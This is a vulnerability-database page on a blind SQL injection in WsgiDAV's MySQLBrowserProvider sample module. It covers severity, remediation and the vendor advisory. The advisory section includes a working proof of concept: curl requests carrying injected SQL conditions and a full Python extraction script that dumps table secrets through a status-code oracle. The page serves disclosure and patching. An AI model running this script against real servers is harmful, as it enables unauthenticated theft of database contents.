Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessDiscover WsgiDAV instance with /db share enabled
-
DeliverySend GET request with SQL-injected key in URL path
-
ExploitObserve HTTP 500 vs 404 boolean oracle responses
-
ExecutionBinary-search character values via repeated injected conditions
-
ImpactExtract full database table contents unauthenticated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that WsgiDAV be configured with a share explicitly mapped to the MySQLBrowserProvider module in wsgidav.yaml or wsgidav.conf - this is a non-default opt-in step; any installation not performing this configuration step is unaffected regardless of WsgiDAV version. The attacker must have network access to the WebDAV HTTP port. If the share is published without authentication (described as common for read shares), exploitation is fully anonymous via a plain HTTP GET request with no write access, special HTTP method, or privileged session required. What limits exploitation beyond the opt-in configuration: (1) attacker must reach the WebDAV port over the network; (2) write and admin database impact depends on the privileges of the database account WsgiDAV uses, not on the injection itself; (3) integer primary key tables are also injectable due to the |
| Impact | The CVSS 4.0 score of 8.8 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N) accurately reflects exploitation conditions for deployments that have enabled the module: no authentication, no special method, and a plain HTTP GET is sufficient. The dominant real-world risk reducer is deployment scope - MySQLBrowserProvider is an explicitly opt-in sample module and default WsgiDAV installations are wholly unaffected. No EPSS data was provided and the CVE is not in CISA KEV, so the breadth of active exploitation beyond the confirmed researcher PoC is unknown. The publicly available extraction PoC (boolean oracle + binary-search script) eliminates the skill barrier for any attacker who can identify a configured instance. VI:L reflects that write or admin impact depends on the privileges of the database account WsgiDAV connects with, not on the injection itself. Overall: low population at risk but full database exposure for those who are. |
| Exploit ScenarioDerived | An attacker scans for publicly accessible WsgiDAV instances with a |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Aug 28, 2026
Blind SQL injection in WsgiDAV's MySQLBrowserProvider sample module (versions <= 4.3.4) allows unauthenticated network attackers to read arbitrary data from the backing MySQL database via URL path manipulation. The record key segment of the URL is concatenated directly into a WHERE clause without escaping, enabling a boolean status-code oracle that supports full character-by-character data extraction. A secondary typo in the numeric-type check (INTT instead of INT) ensures all primary key types take the vulnerable quoted branch, and a working PoC with complete extraction script has been publicly confirmed. No public exploit identified as confirmed actively exploited (CISA KEV), but the PoC lowers the exploitation bar significantly.
Earlier versions of this analysis (1)
Blind SQL injection in WsgiDAV's MySQLBrowserProvider sample module (<=4.3.4) allows unauthenticated network attackers to extract arbitrary data from the backing MySQL database via crafted URL path keys. The URL record key is concatenated directly into the WHERE clause without parameterization or escaping; a typo in the numeric-type check (INTT instead of INT) ensures all keys, including integer primary keys, take the injectable quoted branch. A working boolean oracle PoC and full data extraction script are publicly documented in the GitHub advisory - no public exploit in CISA KEV, but exploitation requires no authentication and only a plain HTTP GET.
RemediationAI
Upgrade WsgiDAV to version 4.3.5 or later via pip install --upgrade wsgidav; this is the vendor-released patch per GitHub Advisory GHSA-p6gw-4frg-j7jw. The fix (commit 6f35776) replaces all string-concatenated SQL in mysql_dav_provider.py with parameterized queries, eliminating injection across all affected query sites. If an immediate upgrade is not feasible, the most effective and cleanest compensating control is to remove or comment out the MySQLBrowserProvider mapping from wsgidav.yaml or wsgidav.conf entirely - since the module is non-default, this carries no functional trade-off for the filesystem provider. Alternatively, require authentication on the affected share via WsgiDAV's HTTP digest or domain controller integration, or restrict network access to the WebDAV port at the firewall/reverse proxy layer to trusted clients only; note that neither workaround eliminates the injection, they only reduce the attacker population. The vendor advisory is at https://github.com/mar10/wsgidav/security/advisories/GHSA-p6gw-4frg-j7jw.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
WsgiDAV is a Python WSGI-based WebDAV server. The affected component, wsgidav/samples/mysql_dav_provider.py (CPE: pkg:pip/wsgidav), is a sample provider that maps WebDAV share URLs to MySQL table rows. URL paths like /db/users/1 are split into a table name (validated against the DB schema) and a primary key value (passed unsanitized into SQL). The generated query is SELECT id FROM testdb.users WHERE id = '<key>', where <key> comes directly from the URL. A single quote in the key breaks out of the string literal (CWE-89). A code defect - the string INTT instead of INT in the numeric type check - means integer-typed primary keys also use the quoted branch, making them equally injectable. The commit 6f35776c9188f130ab044ce557015d51aaa83500 resolves this by replacing all string-concatenated SQL throughout the module with parameterized queries using %s placeholders and a new _escape_id() helper for identifiers.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Network GET is sufficient once module is enabled and share is anonymous; I:L because write impact depends on database account grants, not the injection path itself.
Primary rating from Vendor (https://github.com/mar10/wsgidav).
CVSS VectorVendor: https://github.com/mar10/wsgidav
Lifecycle Timeline
2DescriptionCVE.org
Summary
The sample MySQLBrowserProvider builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.
Note: The MySQLBrowserProvider module is only provided as an example for WsgiDAV and not enabled by default. Installations that do not explicitly activate the module in their configuration are not affected by this vulnerability.
Details
A path like /db/users/1 is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is SELECT id FROM testdb.users WHERE id = '<key>', so a single quote in the key breaks out of the literal and the rest runs as SQL.
The provider's numeric-type check has a typo (INTT instead of INT), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.
The behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.
PoC
Tested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share /db mapped to MySQLBrowserProvider, anonymous access.
Oracle, true then false:
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271"
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272"Returns 500 then 404. The only difference is the injected condition ('1'='1' vs '1'='2'), proving the input is executed as SQL.
Data extraction over the same oracle (dump.py):
import urllib.parse, urllib.request, urllib.error
BASE = "http://127.0.0.1:8080/db/users/"
def truthy(cond):
url = BASE + urllib.parse.quote(f"0' OR ({cond}) OR '1'='2")
try:
urllib.request.urlopen(url); return True
except urllib.error.HTTPError as e:
return e.code != 404
def extract(expr, maxlen=128):
out = ""
for i in range(1, maxlen + 1):
if not truthy(f"SELECT ASCII(MID(({expr}),{i},1))>0"): break
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if truthy(f"SELECT ASCII(MID(({expr}),{i},1))>{mid}"): lo = mid + 1
else: hi = mid
out += chr(lo)
return out
print(extract("SELECT GROUP_CONCAT(name,0x3a,secret) FROM users"))python dump.pyPrints alice:alice-password,bob:bob-token, confirming arbitrary read of table data with no auth.
Impact
Anyone who can read a MySQLBrowserProvider share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account's privileges.
Scope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.
Blast Radius
ecosystem impact- 18 pypi packages depend on wsgidav (17 direct, 1 indirect)
Ecosystem-wide dependent count for version 4.3.5.
Articles & Coverage 2
Technical POC Analysis
CWE-89 (SQL injection) in the shipped sample provider wsgidav/samples/mysqldavprovider.py (classes MySQLBrowserProvider / MySQLBrowserResource).
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
WsgiDAV versions 4.3.4 and earlier contain a blind SQL injection vulnerability in the MySQLBrowserProvider module that allows unauthenticated attackers to extract sensitive data directly from the backing MySQL database over the network. Any organization using this component exposes their database to complete data exfiltration without requiring credentials, making this a critical data confidentiality risk.
Patch available per vendor advisory
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
EUVD-2026-67857
GHSA-p6gw-4frg-j7jw
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB